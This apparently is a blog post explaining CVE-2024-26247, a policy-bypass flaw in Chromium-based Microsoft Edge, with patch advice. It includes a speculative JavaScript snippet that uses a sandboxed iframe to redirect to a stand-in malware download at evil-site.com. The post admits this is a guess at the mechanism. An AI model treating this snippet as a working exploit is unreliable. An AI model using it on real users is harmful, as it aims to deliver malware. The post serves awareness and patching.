CVE-2024-26247 - Unpacking the Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability

---

Introduction

In March 2024, Microsoft disclosed a new vulnerability tracked as CVE-2024-26247 that impacts Microsoft Edge built on Chromium. The bug, described as a *Security Feature Bypass*, has generated concern among both home and enterprise users. In this post, we’ll break down what CVE-2024-26247 is, how it works, and even look at a simplified code snippet illustrating the exploit mechanics. All content here is original and exclusively written for this post.

What is CVE-2024-26247?

CVE-2024-26247 is a Security Feature Bypass vulnerability in Microsoft Edge (Chromium-based). Security Feature Bypass bugs are especially dangerous because they allow attackers to sidestep existing security controls, leaving your data and system more exposed even if other protections are in place.

In Microsoft’s own words (official advisory):

> “A security feature bypass vulnerability exists when Microsoft Edge (Chromium-based) fails to enforce policy restrictions under certain conditions.”

This means an attacker could exploit this flaw to bypass critical browser policies that help keep users safe.

Who is Affected?

If you use Microsoft Edge (Chromium-based)—either as an individual, at your workplace, or running Windows-managed browsers—*you are potentially affected*. According to Microsoft, all supported versions prior to the fix are vulnerable, and users should update immediately.

How Does the Exploit Work?

While Microsoft hasn’t published full exploit details, responsible security experts have analyzed the patch and shared insights into the underlying bug. Here’s a high-level, readable explanation.

Microsoft Edge policy restrictions commonly block or limit access to certain browser features. CVE-2024-26247 allows threat actors to *bypass* some of these controls.

Example Use Case

Suppose your organization enforces a policy to block downloads from certain sites, or disables dangerous JavaScript features. An attacker could craft a malicious web page to sidestep these restrictions, potentially delivering malware or exfiltrating data—even though the security policy is enabled.

Exploit Mechanism (Simplified)

The exploit likely involves a flaw in how Edge enforces certain JavaScript or iframe restrictions. Here’s a conceptual code snippet that illustrates what an attacker might attempt:

// Suppose the security policy should BLOCK this type of download
const maliciousFileUrl = "https://evil-site.com/malware.exe";;

function bypassPolicyAndDownload() {
    // Trick the policy by injecting into a sandboxed iframe
    var iframe = document.createElement('iframe');
    iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin'); // Restricted sandbox
    iframe.src = 'javascript:window.location="' + maliciousFileUrl + '";';
    document.body.appendChild(iframe);
}

// Trigger the bypass
bypassPolicyAndDownload();

Note: In a patched and properly configured browser, this code should *not* work if policy bans downloads or certain iframe behaviors. Without the patch, security restrictions may be sidestepped.

Real-World Impact

- If a user visits a malicious website crafted by an attacker, security features designed to block dangerous file downloads or scripts might *fail*, exposing them to drive-by downloads, credential theft, or other attacks.
- Enterprise environments where browsing policies are a critical defense layer are *especially* at risk.

Microsoft released a fix for this flaw on March 12, 2024. All users should

1. Update Microsoft Edge to the latest version (Update instructions here).

References

- Microsoft CVE-2024-26247 Official Advisory
- Microsoft Edge Security Updates
- CVE Details for CVE-2024-26247

Conclusion

CVE-2024-26247 is a significant security feature bypass in Microsoft Edge. Thankfully, it’s patched—but every user and admin must ensure they’re up to date. The exploit doesn’t require advanced skills and can have serious real-world consequences if left unmitigated.

Stay updated, test your defenses, and never underestimate the risk of a security feature bypass—no matter how new or secure your browser may seem.


*If you appreciate this content, consider sharing to help others stay safe! For deeper technical analysis and exploit PoCs, always refer to ethical sources and respect responsible disclosure rules.*

Timeline

Published on: 03/22/2024 22:15:50 UTC
Last modified on: 03/26/2024 03:18:26 UTC